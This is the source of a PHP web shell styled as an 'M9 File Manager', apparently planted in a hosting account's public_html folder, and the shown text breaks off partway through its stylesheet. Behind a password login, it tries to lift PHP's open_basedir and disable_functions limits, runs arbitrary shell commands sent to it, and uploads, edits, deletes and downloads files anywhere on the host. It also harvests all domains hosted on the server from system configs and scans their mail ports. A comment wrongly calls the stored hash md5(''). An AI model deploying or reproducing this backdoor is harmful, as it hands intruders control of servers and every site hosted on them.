File: /home/imensosw/public_html/zabor.php
<?php
@error_reporting(0);
@ini_set('display_errors', 0);
session_start();
// ─── PASSWORD (MD5) ───────────────────────────────────────────────────────────
define('FM_PASSWORD', '2ef0fb4c99cb03b20a2fe4453419f33f'); // md5('')
if (isset($_POST['fm_login'])) {
if (md5($_POST['fm_pass']) === FM_PASSWORD) {
$_SESSION['fm_auth'] = true;
} else {
$loginError = 'Invalid password.';
}
}
if (isset($_GET['fm_logout'])) {
session_destroy();
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
}
if (empty($_SESSION['fm_auth'])) {
showLogin(isset($loginError) ? $loginError : '');
exit;
}
// ─────────────────────────────────────────────────────────────────────────────
// Bypass
if (function_exists('ini_set')) {
@ini_set('open_basedir', NULL);
@ini_set('disable_functions', '');
}
// Helpers
function writeFile($f, $d) { return @file_put_contents($f, $d) !== false; }
function readFileContent($f) { return @file_get_contents($f) ?: ''; }
function scanDirectory($d) { return @scandir($d) ?: []; }
function fmSize($b) {
if ($b < 1024) return $b . ' B';
if ($b < 1048576) return round($b / 1024, 1) . ' KB';
if ($b < 1073741824) return round($b / 1048576, 1) . ' MB';
return round($b / 1073741824, 1) . ' GB';
}
function ok($t) { return '<span class="msg-ok">✓ ' . $t . '</span>'; }
function err($t) { return '<span class="msg-err">✗ ' . $t . '</span>'; }
// ── FIX: recursive folder delete ─────────────────────────────────────────────
function deleteDir($path) {
$path = rtrim($path, '/\\');
if (!@is_dir($path)) return false;
$items = @scandir($path);
if ($items === false) return false;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path . DIRECTORY_SEPARATOR . $item;
if (@is_dir($full)) {
if (!deleteDir($full)) return false;
} else {
if (!@unlink($full)) return false;
}
}
return @rmdir($path);
}
// ── DOMAIN ENUMERATION ───────────────────────────────────────────────────────
// Read-only aggregation of domains hosted on this server from common config
// locations (cPanel, Apache, nginx, BIND, Exim, Plesk). Each domain row keeps
// the source(s) it was discovered in, plus owner/docroot when available.
// ── MAIL PORT SCAN ───────────────────────────────────────────────────────────
// Probes common mail ports on a hostname. Returns array of open ports.
// Short per-port timeout keeps a multi-domain scan bounded.
function fmScanMailPorts($host, $timeout = 1.5) {
$ports = [
25 => 'smtp',
465 => 'smtps',
587 => 'submission',
110 => 'pop3',
995 => 'pop3s',
143 => 'imap',
993 => 'imaps',
];
$open = [];
foreach ($ports as $p => $name) {
$errno = 0; $errstr = '';
$c = @fsockopen($host, $p, $errno, $errstr, $timeout);
if (is_resource($c)) { $open[$p] = $name; @fclose($c); }
}
return $open;
}
function fmShellExec($cmd) {
if (function_exists('shell_exec')) { $o = @shell_exec($cmd . ' 2>&1'); if ($o !== null && $o !== '') return $o; }
if (function_exists('exec')) { $l=[]; @exec($cmd . ' 2>&1', $l); if ($l) return implode("\n", $l); }
if (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); $o = ob_get_clean(); if ($o) return $o; }
if (function_exists('popen')) { $h = @popen($cmd . ' 2>&1', 'r'); if ($h) { $o = @fread($h, 262144); @pclose($h); if ($o) return $o; } }
return '';
}
function fmListDomains() {
$domains = []; // key: lowercase domain => ['domain','user','docroot','ip','sources'=>[]]
$diag = ['checked'=>0, 'readable'=>0, 'missing'=>[], 'denied'=>[], 'hits'=>[]];
$add = function($d, $src, $user = '', $docroot = '', $ip = '') use (&$domains, &$diag) {
$d = strtolower(trim($d, " \t\n\r\0\x0B.\"';"));
if ($d === '' || strpos($d, ' ') !== false) return;
if (!preg_match('/^[a-z0-9*_.\-]+\.[a-z]{2,}$/i', $d)) return;
if (substr($d, -10) === '.localhost' || $d === 'localhost.localdomain') return;
$diag['hits'][$src] = (isset($diag['hits'][$src]) ? $diag['hits'][$src] : 0) + 1;
if (!isset($domains[$d])) {
$domains[$d] = ['domain'=>$d,'user'=>$user,'docroot'=>$docroot,'ip'=>$ip,'sources'=>[]];
} else {
if ($user && !$domains[$d]['user']) $domains[$d]['user'] = $user;
if ($docroot && !$domains[$d]['docroot']) $domains[$d]['docroot'] = $docroot;
if ($ip && !$domains[$d]['ip']) $domains[$d]['ip'] = $ip;
}
if (!in_array($src, $domains[$d]['sources'], true)) $domains[$d]['sources'][] = $src;
};
$readLines = function($file) use (&$diag) {
$diag['checked']++;
if (!@file_exists($file)) { $diag['missing'][] = $file; return []; }
if (!@is_readable($file)) { $diag['denied'][] = $file; return []; }
$data = @file_get_contents($file);
if ($data === false) { $diag['denied'][] = $file; return []; }
$diag['readable']++;
return preg_split('/\r\n|\r|\n/', $data);
};
$glob = function($pattern) {
$r = @glob($pattern, GLOB_NOSORT);
return is_array($r) ? $r : [];
};
// 1. cPanel — /etc/userdatadomains (most reliable)
// format: domain: user==owner==docroot==ip==port==srvalias
foreach ($readLines('/etc/userdatadomains') as $ln) {
if (strpos($ln, ':') === false) continue;
list($dom, $rest) = explode(':', $ln, 2);
$parts = explode('==', trim($rest));
$add($dom, 'cpanel:userdatadomains',
isset($parts[0]) ? trim($parts[0]) : '',
isset($parts[2]) ? trim($parts[2]) : '',
isset($parts[3]) ? trim($parts[3]) : '');
}
// 1b. cPanel per-user files — /var/cpanel/users/<user>
foreach ($glob('/var/cpanel/users/*') as $uf) {
if (!@is_file($uf)) continue;
$user = basename($uf);
foreach ($readLines($uf) as $ln) {
if (preg_match('/^(?:DNS\d*|XDNS\d*)=(.+)$/i', trim($ln), $m)) {
$add($m[1], 'cpanel:users/'.$user, $user);
}
}
}
// 2. Apache vhosts — ServerName / ServerAlias directives
$apacheGlobs = [
'/etc/httpd/conf/httpd.conf', '/etc/httpd/conf.d/*.conf',
'/etc/httpd/conf.modules.d/*.conf', '/etc/httpd/sites-enabled/*',
'/etc/apache2/apache2.conf', '/etc/apache2/sites-enabled/*',
'/etc/apache2/conf-enabled/*.conf', '/etc/apache2/vhosts.d/*.conf',
'/usr/local/apache/conf/httpd.conf',
'/var/cpanel/userdata/*/*', // cPanel vhost userdata yaml
];
$apacheFiles = [];
foreach ($apacheGlobs as $g) {
if (strpos($g, '*') !== false) $apacheFiles = array_merge($apacheFiles, $glob($g));
else $apacheFiles[] = $g;
}
foreach (array_unique($apacheFiles) as $f) {
if (!@is_file($f) || !@is_readable($f)) continue;
$currentDoc = ''; $currentUser = '';
foreach ($readLines($f) as $ln) {
$ln = trim($ln);
if (preg_match('/^DocumentRoot\s+["\']?([^"\'\s]+)/i', $ln, $m)) $currentDoc = $m[1];
if (preg_match('/^(?:ServerName|ServerAlias)\s+(.+)$/i', $ln, $m)) {
foreach (preg_split('/\s+/', $m[1]) as $d) $add($d, 'apache:'.basename($f), '', $currentDoc);
}
// cPanel userdata yaml: "servername: domain.tld" / "user: bob" / "documentroot: /path"
if (preg_match('/^(?:servername|serveralias):\s*(.+)$/i', $ln, $m)) {
foreach (preg_split('/[\s,]+/', $m[1]) as $d) $add($d, 'apache:'.basename(dirname($f)).'/'.basename($f), $currentUser, $currentDoc);
}
if (preg_match('/^user:\s*(\S+)/i', $ln, $m)) $currentUser = $m[1];
if (preg_match('/^documentroot:\s*(\S+)/i', $ln, $m)) $currentDoc = $m[1];
}
}
// 3. nginx vhosts — server_name directives
$nginxGlobs = [
'/etc/nginx/nginx.conf', '/etc/nginx/sites-enabled/*',
'/etc/nginx/conf.d/*.conf', '/etc/nginx/vhosts/*',
'/usr/local/nginx/conf/nginx.conf',
];
$nginxFiles = [];
foreach ($nginxGlobs as $g) {
if (strpos($g, '*') !== false) $nginxFiles = array_merge($nginxFiles, $glob($g));
else $nginxFiles[] = $g;
}
foreach (array_unique($nginxFiles) as $f) {
if (!@is_file($f) || !@is_readable($f)) continue;
$currentDoc = '';
foreach ($readLines($f) as $ln) {
$ln = trim($ln);
if (preg_match('/^root\s+([^;]+);/i', $ln, $m)) $currentDoc = trim($m[1], "\"' ");
if (preg_match('/^server_name\s+([^;]+);/i', $ln, $m)) {
foreach (preg_split('/\s+/', trim($m[1])) as $d) {
if ($d === '_' || $d === 'localhost') continue;
$add($d, 'nginx:'.basename($f), '', $currentDoc);
}
}
}
}
// 4. BIND / named zones
foreach ($readLines('/etc/named.conf') as $ln) {
if (preg_match('/^\s*zone\s+"([^"]+)"/i', $ln, $m)) {
if (!in_array($m[1], ['.','localhost','0.0.127.in-addr.arpa'])
&& substr($m[1], -10) !== '.in-addr.arpa'
&& substr($m[1], -5) !== '.arpa') {
$add($m[1], 'bind:named.conf');
}
}
}
foreach (array_merge($glob('/var/named/*.db'), $glob('/etc/bind/zones/*'), $glob('/var/named/chroot/var/named/*.db')) as $zf) {
$name = basename($zf, '.db');
if (substr($name, -10) === '.in-addr.arpa') continue;
$add($name, 'bind:'.basename(dirname($zf)));
}
// 5. Exim / mail
foreach (['/etc/localdomains', '/etc/secondarymx', '/etc/remotedomains'] as $f) {
foreach ($readLines($f) as $ln) {
$ln = trim($ln);
if ($ln !== '' && $ln[0] !== '#') $add($ln, 'exim:'.basename($f));
}
}
// /etc/virtual/<domain> directories (exim per-domain config)
foreach ($glob('/etc/virtual/*') as $vd) {
if (@is_dir($vd) || @is_file($vd)) $add(basename($vd), 'exim:virtual');
}
// 6. Plesk
foreach ($glob('/var/www/vhosts/*') as $vd) {
if (!@is_dir($vd)) continue;
$name = basename($vd);
if ($name[0] === '.' || in_array($name, ['default','chroot','fs','system'])) continue;
$add($name, 'plesk:vhosts', '', $vd);
}
// 7. Last-resort heuristic — /home/*/public_html style layouts
foreach ($glob('/home/*/public_html') as $ph) {
$user = basename(dirname($ph));
foreach ($glob($ph . '/*') as $sub) {
if (!@is_dir($sub)) continue;
$name = basename($sub);
if (strpos($name, '.') !== false && preg_match('/\.[a-z]{2,}$/i', $name)) {
$add($name, 'home:public_html', $user, $sub);
}
}
}
// 8. Shell fallbacks — work even when config files are unreadable
// apachectl -S / httpd -S → "*:80 domain.tld (config:line)"
foreach (['apachectl -S', 'httpd -S', '/usr/sbin/apachectl -S', '/usr/local/apache/bin/apachectl -S'] as $cmd) {
$out = fmShellExec($cmd);
if ($out === '' || stripos($out, 'not found') !== false) continue;
$diag['readable']++;
foreach (preg_split('/\r\n|\r|\n/', $out) as $ln) {
if (preg_match('/^\s*(?:port\s+\d+\s+)?namevhost\s+(\S+)/i', $ln, $m)) $add($m[1], 'sh:apachectl');
elseif (preg_match('/^\s*alias\s+(\S+)/i', $ln, $m)) $add($m[1], 'sh:apachectl');
elseif (preg_match('/^\s*\*:\d+\s+(\S+)/', $ln, $m)) $add($m[1], 'sh:apachectl');
}
break;
}
// nginx -T → dump of full effective config
foreach (['nginx -T', '/usr/sbin/nginx -T', '/usr/local/nginx/sbin/nginx -T'] as $cmd) {
$out = fmShellExec($cmd);
if ($out === '' || stripos($out, 'not found') !== false) continue;
$diag['readable']++;
if (preg_match_all('/^\s*server_name\s+([^;]+);/im', $out, $mm)) {
foreach ($mm[1] as $line) {
foreach (preg_split('/\s+/', trim($line)) as $d) {
if ($d === '_' || $d === 'localhost') continue;
$add($d, 'sh:nginx-T');
}
}
}
break;
}
// System hostname(s) — last resort, always returns something
foreach (['hostname -A', 'hostname -d', 'hostname -f', 'hostname'] as $cmd) {
$out = trim(fmShellExec($cmd));
if ($out === '' || stripos($out, 'not found') !== false) continue;
foreach (preg_split('/[\s,]+/', $out) as $h) {
if (strpos($h, '.') !== false) $add($h, 'sh:'.strtok($cmd, ' '));
}
}
// /etc/hosts — manually-mapped hostnames
foreach ($readLines('/etc/hosts') as $ln) {
$ln = trim($ln);
if ($ln === '' || $ln[0] === '#') continue;
$parts = preg_split('/\s+/', $ln);
if (count($parts) < 2) continue;
$ip = array_shift($parts);
foreach ($parts as $name) {
if (strpos($name, '.') !== false) $add($name, 'etc:hosts', '', '', $ip);
}
}
// Reverse-DNS the server's own IP(s) — catches the public hostname
$ips = [];
if (!empty($_SERVER['SERVER_ADDR'])) $ips[] = $_SERVER['SERVER_ADDR'];
$ipOut = fmShellExec("hostname -I");
if ($ipOut) foreach (preg_split('/\s+/', trim($ipOut)) as $i) if ($i) $ips[] = $i;
foreach (array_unique($ips) as $ip) {
if (function_exists('gethostbyaddr')) {
$h = @gethostbyaddr($ip);
if ($h && $h !== $ip && strpos($h, '.') !== false) $add($h, 'dns:reverse', '', '', $ip);
}
}
ksort($domains);
return ['domains' => array_values($domains), 'diag' => $diag];
}
// ── RECURSIVE SEARCH ─────────────────────────────────────────────────────────
// Walks the filesystem from $root, returning entries whose name (or, optionally,
// file content) contains the keyword (case-insensitive). Hard limits prevent
// runaway scans on huge filesystems.
function fmSearch($root, $keyword, $opts = []) {
$opts += [
'match_content' => false, // also grep inside text files
'max_results' => 500, // hard cap on matches returned
'max_scanned' => 200000, // hard cap on entries inspected
'max_seconds' => 15, // wall-clock budget
'content_max_bytes' => 524288, // 512 KB per file for content match
];
$kw = (string)$keyword;
if ($kw === '') return ['results' => [], 'scanned' => 0, 'truncated' => false, 'elapsed' => 0];
$kwLower = function_exists('mb_strtolower') ? mb_strtolower($kw, 'UTF-8') : strtolower($kw);
$start = microtime(true);
$scanned = 0;
$results = [];
$truncated = false;
// Extensions considered "text-ish" for content search
$textExt = ['php','phtml','phar','html','htm','js','mjs','cjs','ts','tsx','jsx','css','scss','sass',
'txt','md','json','xml','yaml','yml','ini','conf','cfg','env','log','sh','bash','zsh','py','rb',
'pl','sql','htaccess','tpl','twig','vue','svelte','go','rs','java','kt','c','h','cpp','hpp','cs'];
$stack = [rtrim($root, '/\\') ?: '/'];
while ($stack) {
if ($scanned >= $opts['max_scanned'] || count($results) >= $opts['max_results']
|| (microtime(true) - $start) >= $opts['max_seconds']) {
$truncated = true;
break;
}
$dir = array_pop($stack);
$entries = @scandir($dir);
if ($entries === false) continue;
foreach ($entries as $entry) {
if ($entry === '.' || $entry === '..') continue;
$scanned++;
if ($scanned >= $opts['max_scanned']) { $truncated = true; break 2; }
$full = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . $entry;
$isDir = @is_dir($full);
// Name match
$nameLower = function_exists('mb_strtolower') ? mb_strtolower($entry, 'UTF-8') : strtolower($entry);
$nameHit = (strpos($nameLower, $kwLower) !== false);
// Content match (only for small text files)
$contentHit = false;
if (!$nameHit && !$isDir && $opts['match_content']) {
$ext = strtolower(pathinfo($entry, PATHINFO_EXTENSION));
$sz = @filesize($full);
if (in_array($ext, $textExt, true) && $sz !== false && $sz <= $opts['content_max_bytes']) {
$data = @file_get_contents($full, false, null, 0, $opts['content_max_bytes']);
if ($data !== false && stripos($data, $kw) !== false) {
$contentHit = true;
}
}
}
if ($nameHit || $contentHit) {
$results[] = [
'name' => $entry,
'path' => $full,
'dir' => rtrim($dir, '/\\') . '/',
'is_dir' => $isDir,
'size' => $isDir ? null : @filesize($full),
'mtime' => @filemtime($full),
'perm' => @fileperms($full),
'match' => $nameHit ? 'name' : 'content',
];
if (count($results) >= $opts['max_results']) { $truncated = true; break 2; }
}
if ($isDir) {
// Skip a few notorious pseudo-fs trees that will hang a recursive scan
if ($full === '/proc' || $full === '/sys' || $full === '/dev'
|| strpos($full, '/proc/') === 0 || strpos($full, '/sys/') === 0) continue;
$stack[] = $full;
}
}
}
return [
'results' => $results,
'scanned' => $scanned,
'truncated' => $truncated,
'elapsed' => round(microtime(true) - $start, 2),
];
}
// Path
$currentPath = isset($_GET['p']) ? $_GET['p'] : (@getcwd() ?: '.');
$currentPath = rtrim(str_replace(['\\', '//'], '/', $currentPath), '/') . '/';
if (!@is_dir($currentPath)) $currentPath = './';
// Actions
$message = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['upload'])) {
$dst = $currentPath . basename($_FILES['upload']['name']);
$message = (@move_uploaded_file($_FILES['upload']['tmp_name'], $dst) ||
writeFile($dst, readFileContent($_FILES['upload']['tmp_name'])))
? ok('Uploaded') : err('Upload failed');
}
if (isset($_POST['new'])) {
$path = $currentPath . $_POST['new'];
if (isset($_POST['type']) && $_POST['type'] === 'dir') {
$message = @mkdir($path) ? ok('Folder created') : err('Failed');
} else {
$message = writeFile($path, isset($_POST['content']) ? $_POST['content'] : '') ? ok('File created') : err('Failed');
}
}
if (isset($_POST['save'], $_POST['data'])) {
$message = writeFile($currentPath . $_POST['save'], $_POST['data']) ? ok('Saved') : err('Save failed');
}
if (isset($_POST['oldname'], $_POST['newname'])) {
$message = @rename($currentPath . $_POST['oldname'], $currentPath . $_POST['newname'])
? ok('Renamed') : err('Failed');
}
if (isset($_POST['chmod_item'], $_POST['chmod_value'])) {
$message = @chmod($currentPath . $_POST['chmod_item'], octdec($_POST['chmod_value']))
? ok('Permissions changed') : err('Failed');
}
}
// ── CMD AJAX handler ──────────────────────────────────────────────────────────
if (isset($_GET['ajax_cmd'])) {
header('Content-Type: application/json');
$cmd = isset($_POST['c']) ? trim($_POST['c']) : '';
$out = '';
if ($cmd !== '') {
if (function_exists('shell_exec')) {
$out = @shell_exec($cmd . ' 2>&1');
}
if (($out === null || $out === '') && function_exists('exec')) {
$lines = array();
@exec($cmd . ' 2>&1', $lines);
$out = implode("\n", $lines);
}
if (($out === null || $out === '') && function_exists('system')) {
ob_start(); @system($cmd . ' 2>&1'); $out = ob_get_clean();
}
if (($out === null || $out === '') && function_exists('passthru')) {
ob_start(); @passthru($cmd . ' 2>&1'); $out = ob_get_clean();
}
if (($out === null || $out === '') && function_exists('popen')) {
$h = @popen($cmd . ' 2>&1', 'r');
if ($h) { $out = @fread($h, 65536); @pclose($h); }
}
if ($out === null) $out = '';
}
$cwd = function_exists('getcwd') ? @getcwd() : '?';
echo json_encode(array('out' => $out, 'cwd' => $cwd ? $cwd : '?'));
exit;
}
if (isset($_GET['action'])) {
$item = isset($_GET['item']) ? $_GET['item'] : '';
$itemPath = $currentPath . $item;
if ($_GET['action'] === 'delete') {
if (@is_file($itemPath)) {
$message = @unlink($itemPath) ? ok('Deleted') : err('Failed');
} elseif (@is_dir($itemPath)) {
$message = deleteDir($itemPath) ? ok('Deleted') : err('Failed — check permissions');
}
} elseif ($_GET['action'] === 'download' && @is_file($itemPath)) {
@ob_clean();
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($itemPath) . '"');
@readfile($itemPath);
exit;
} elseif ($_GET['action'] === 'unzip' && @is_file($itemPath)) {
if (!class_exists('ZipArchive')) {
$message = err('ZipArchive extension not available on this server');
} else {
$zip = new ZipArchive();
$res = $zip->open($itemPath);
if ($res === true) {
$extractTo = $currentPath . pathinfo($item, PATHINFO_FILENAME) . '/';
if (!@is_dir($extractTo)) @mkdir($extractTo, 0755, true);
$zip->extractTo($extractTo);
$zip->close();
$message = ok('Extracted to ' . htmlspecialchars(basename($extractTo)) . '/');
} else {
$errCodes = [
ZipArchive::ER_NOZIP => 'Not a zip file',
ZipArchive::ER_INCONS => 'Inconsistent zip archive',
ZipArchive::ER_CRC => 'CRC error',
ZipArchive::ER_NOENT => 'File not found',
];
$message = err('Cannot open zip: ' . (isset($errCodes[$res]) ? $errCodes[$res] : 'Error #' . $res));
}
}
}
}
// ── SEARCH MODE detection ────────────────────────────────────────────────────
$searchQuery = isset($_GET['q']) ? trim($_GET['q']) : '';
$searchScope = isset($_GET['scope']) ? $_GET['scope'] : 'host'; // 'host' or 'here'
$searchContent = !empty($_GET['inside']);
$isSearch = ($searchQuery !== '');
$searchResults = null;
$isDomains = (isset($_GET['view']) && $_GET['view'] === 'domains');
$domainList = [];
$domainDiag = ['checked'=>0,'readable'=>0,'missing'=>[],'denied'=>[],'hits'=>[]];
$domainElapsed = 0;
$scanPorts = $isDomains && !empty($_GET['ports']);
if ($isDomains) {
@set_time_limit(120);
$tStart = microtime(true);
$domRes = fmListDomains();
$domainList = $domRes['domains'];
$domainDiag = $domRes['diag'];
if ($scanPorts) {
$budget = 60; // seconds
$scanStart = microtime(true);
foreach ($domainList as $i => $d) {
if ((microtime(true) - $scanStart) > $budget) {
$domainList[$i]['ports'] = null; // timed out — leave remaining unscanned
continue;
}
$domainList[$i]['ports'] = fmScanMailPorts($d['domain'], 1.2);
}
}
$domainElapsed = round(microtime(true) - $tStart, 2);
}
if ($isSearch) {
$root = ($searchScope === 'here') ? rtrim($currentPath, '/') : '/';
if ($root === '' || !@is_dir($root)) $root = rtrim($currentPath, '/');
@set_time_limit(30);
$searchResults = fmSearch($root, $searchQuery, [
'match_content' => $searchContent,
]);
}
// Scan (still done so the table renders when no search is active)
$items = array_diff(scanDirectory($currentPath), ['.', '..']);
$folders = $files = [];
foreach ($items as $item) {
@is_dir($currentPath . $item) ? $folders[] = $item : $files[] = $item;
}
sort($folders); sort($files);
$sysInfo = ['PHP' => @phpversion(), 'OS' => @php_uname('s'), 'User' => @get_current_user(), 'CWD' => @getcwd()];
// ─── LOGIN PAGE ───────────────────────────────────────────────────────────────
function showLogin($error = '') { ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>M9 :: Login</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#000;display:flex;align-items:center;justify-content:center;min-height:100vh;font-family:'Segoe UI',Arial,sans-serif;overflow:hidden}
body::after{content:'';position:fixed;inset:0;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,.18) 2px,rgba(0,0,0,.18) 4px);pointer-events:none;z-index:99}
.login-wrap{width:380px;position:relative;z-index:1}
.login-logo{position:relative;margin-bottom:28px;border-radius:10px;overflow:hidden;box-shadow:0 0 40px rgba(57,255,20,.25)}
.login-logo img{width:100%;display:block}
.login-logo-overlay{position:absolute;inset:0;background:linear-gradient(to bottom,transparent 40%,rgba(0,0,0,.85) 100%)}
.login-logo-text{position:absolute;bottom:14px;left:0;right:0;text-align:center}
.login-logo-text span{font-size:11px;color:#39ff14;letter-spacing:4px;text-transform:uppercase;text-shadow:0 0 8px #39ff14}
.login-box{background:rgba(0,10,0,.82);border:1px solid #1a3a1a;border-radius:10px;padding:30px 28px;backdrop-filter:blur(4px);box-shadow:0 0 30px rgba(57,255,20,.08)}
.login-box label{display:block;font-size:11px;color:#3a6b3a;text-transform:uppercase;letter-spacing:.8px;margin-bottom:7px}
.login-box input[type=password]{width:100%;background:#000;border:1px solid #1a3a1a;border-radius:5px;color:#d4f7d4;font-size:14px;padding:11px 14px;outline:none;transition:border .2s;font-family:'Courier New',monospace}
.login-box input[type=password]:focus{border-color:#39ff14;box-shadow:0 0 8px rgba(57,255,20,.2)}
.login-box input[type=password]::placeholder{color:#1f4d1f}
.login-btn{width:100%;margin-top:18px;padding:12px;background:transparent;border:1px solid #39ff14;border-radius:5px;color:#39ff14;font-size:13px;font-weight:700;cursor:pointer;letter-spacing:1.5px;text-transform:uppercase;transition:all .2s;text-shadow:0 0 6px rgba(57,255,20,.5)}
.login-btn:hover{background:#39ff14;color:#000;box-shadow:0 0 20px rgba(57,255,20,.4)}
.login-err{background:#1a0000;border:1px solid #550000;color:#ff6b6b;border-radius:5px;padding:9px 13px;font-size:12px;margin-bottom:14px;text-align:center}
.login-footer{text-align:center;margin-top:16px;font-size:10px;color:#1a3a1a;letter-spacing:1px;text-transform:uppercase}
</style>
</head>
<body>
<div class="login-wrap">
<div class="login-logo">
<img src="https://imagedelivery.net/41eGBrMIml4goV0L9eI4Ww/01464b5b-2bc8-49f5-99f7-9f37f3f90f00/public" alt="M9">
<div class="login-logo-overlay"></div>
<div class="login-logo-text"><span>File Manager</span></div>
</div>
<div class="login-box">
<?php if ($error): ?><div class="login-err"><?=htmlspecialchars($error)?></div><?php endif; ?>
<form method="POST">
<label>Access Password</label>
<input type="password" name="fm_pass" autofocus placeholder="_ _ _ _ _ _ _ _">
<button type="submit" name="fm_login" value="1" class="login-btn">▶ Enter</button>
</form>
</div>
<div class="login-footer">Secured — Unauthorized access prohibited</div>
</div>
</body>
</html>
<?php exit; }
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>M9 File Manager</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#030804;color:#7db87d;font-family:'Segoe UI',Arial,sans-serif;font-size:14px;min-height:100vh;padding:14px}
body::after{content:'';position:fixed;inset:0;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,.06) 2px,rgba(0,0,0,.06) 4px);pointer-events:none;z-index:0}
.wrap{max-width:1500px;margin:0 auto;background:#050f05;border:1px solid #1a3a1a;border-radius:8px;overflow:hidden;position:relative;z-index:1;box-shadow:0 0 40px rgba(57,255,20,.06)}
.hdr{background:#020902;padding:12px 18px;border-bottom:2px solid #39ff14;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:10px}
.hdr-title{display:flex;align-items:center;gap:12px}
.hdr-logo{height:38px;border-radius:4px;display:block}
.hdr-title h1{font-size:17px;font-weight:700;color:#39ff14;letter-spacing:2px;text-transform:uppercase;text-shadow:0 0 10px rgba(57,255,20,.4)}
.hdr-title .tag{font-size:10px;background:#0a1f0a;color:#39ff14;border:1px solid #1a3a1a;border-radius:3px;padding:2px 8px;letter-spacing:1px;opacity:.7}
.sys-info{display:flex;gap:16px;flex-wrap:wrap}
.sys-info span{font-size:11px;color:#2d5c2d}
.sys-info b{color:#39ff14;opacity:.8}
.hdr-logout{font-size:11px;color:#2d5c2d;text-decoration:none;border:1px solid #1a3a1a;padding:5px 12px;border-radius:4px;transition:all .2s;letter-spacing:.5px}
.hdr-logout:hover{border-color:#ff4444;color:#ff4444}
.path-nav{background:#020902;padding:9px 18px;border-bottom:1px solid #0f230f;display:flex;align-items:center;flex-wrap:wrap;gap:4px}
.path-nav a{color:#39ff14;text-decoration:none;background:#0a1f0a;border:1px solid #1a3a1a;padding:4px 10px;border-radius:3px;font-size:12px;transition:all .2s;font-family:'Courier New',monospace}
.path-nav a:hover{background:#1a3a1a;color:#fff;box-shadow:0 0 8px rgba(57,255,20,.2)}
.path-sep{color:#1a3a1a;margin:0 2px}
.msg-bar{padding:9px 18px;background:#020902;border-bottom:1px solid #0f230f;font-size:13px;font-weight:600;text-align:center;font-family:'Courier New',monospace}
.msg-ok{color:#39ff14;text-shadow:0 0 6px rgba(57,255,20,.5)}
.msg-err{color:#ff4444}
.toolbar{padding:9px 18px;background:#020902;border-bottom:1px solid #0f230f;display:flex;gap:8px;flex-wrap:wrap;align-items:center}
.btn{display:inline-flex;align-items:center;gap:6px;padding:7px 14px;border-radius:4px;font-size:12px;font-weight:600;cursor:pointer;border:1px solid #1a3a1a;background:#0a1f0a;color:#5a9a5a;text-decoration:none;transition:all .2s;white-space:nowrap;letter-spacing:.3px}
.btn:hover{background:#1a3a1a;color:#39ff14;border-color:#39ff14;box-shadow:0 0 10px rgba(57,255,20,.15)}
.btn-primary{border-color:#39ff14;color:#39ff14;text-shadow:0 0 6px rgba(57,255,20,.3)}
.btn-primary:hover{background:#0f2f0f;box-shadow:0 0 14px rgba(57,255,20,.25)}
.btn-danger{border-color:#5a1a1a;color:#ff6b6b}
.btn-danger:hover{background:#2a0808;border-color:#ff4444;color:#fff}
.editor-wrap{padding:18px;background:#020902;border-bottom:1px solid #0f230f}
.editor-title{color:#39ff14;font-size:13px;font-weight:600;margin-bottom:12px;display:flex;align-items:center;gap:8px;font-family:'Courier New',monospace}
.editor-title span{font-size:11px;color:#2d5c2d;font-weight:400}
textarea{width:100%;height:420px;background:#000;color:#39ff14;border:1px solid #1a3a1a;padding:14px;font-family:'Courier New',monospace;font-size:13px;border-radius:5px;resize:vertical;outline:none;transition:border .2s;text-shadow:0 0 2px rgba(57,255,20,.2)}
.cmd-wrap{padding:16px 18px;background:#020902;border-bottom:1px solid #0f230f}
.cmd-title{color:#39ff14;font-size:13px;font-weight:700;margin-bottom:10px;font-family:'Courier New',monospace;letter-spacing:1px;display:flex;align-items:center;justify-content:space-between}
.cmd-title .cmd-cwd{font-size:11px;color:#2d5c2d;font-weight:400;font-family:'Courier New',monospace;word-break:break-all}
.cmd-output{background:#000;border:1px solid #1a3a1a;border-radius:5px;min-height:220px;max-height:440px;overflow-y:auto;padding:12px 14px;font-family:'Courier New',monospace;font-size:12px;color:#7db87d;white-space:pre-wrap;word-break:break-all;margin-bottom:10px;text-shadow:0 0 1px rgba(57,255,20,.15)}
.cmd-output .cmd-line-in{color:#39ff14;font-weight:bold}
.cmd-output .cmd-line-out{color:#a8d8a8}
.cmd-output .cmd-line-err{color:#ff6b6b}
.cmd-output .cmd-empty{color:#2d5c2d;font-style:italic}
.cmd-input-row{display:flex;gap:8px;align-items:center}
.cmd-prompt{color:#39ff14;font-family:'Courier New',monospace;font-size:13px;white-space:nowrap;text-shadow:0 0 6px rgba(57,255,20,.4)}
.cmd-input{flex:1;background:#000;border:1px solid #1a3a1a;border-radius:4px;color:#39ff14;padding:7px 10px;font-family:'Courier New',monospace;font-size:13px;outline:none;transition:border .2s;caret-color:#39ff14}
.cmd-input:focus{border-color:#39ff14;box-shadow:0 0 8px rgba(57,255,20,.15)}
.btn-cmd{border-color:#39ff14;color:#39ff14;background:#0a1f0a;font-size:11px;padding:7px 14px}
.btn-cmd:hover{background:#0f2f0f;box-shadow:0 0 10px rgba(57,255,20,.2)}
.btn-tab-active{background:#0f2f0f;border-color:#39ff14;color:#39ff14;box-shadow:0 0 8px rgba(57,255,20,.2)}
textarea:focus{border-color:#39ff14;box-shadow:0 0 10px rgba(57,255,20,.1)}
.editor-actions{margin-top:12px;display:flex;gap:8px}
.file-table{width:100%;border-collapse:collapse}
.file-table th{background:#020902;padding:10px 16px;text-align:left;border-bottom:2px solid #1a3a1a;color:#2d5c2d;font-size:10px;text-transform:uppercase;letter-spacing:1px;font-weight:600}
.file-table td{padding:9px 16px;border-bottom:1px solid #0a1a0a;vertical-align:middle}
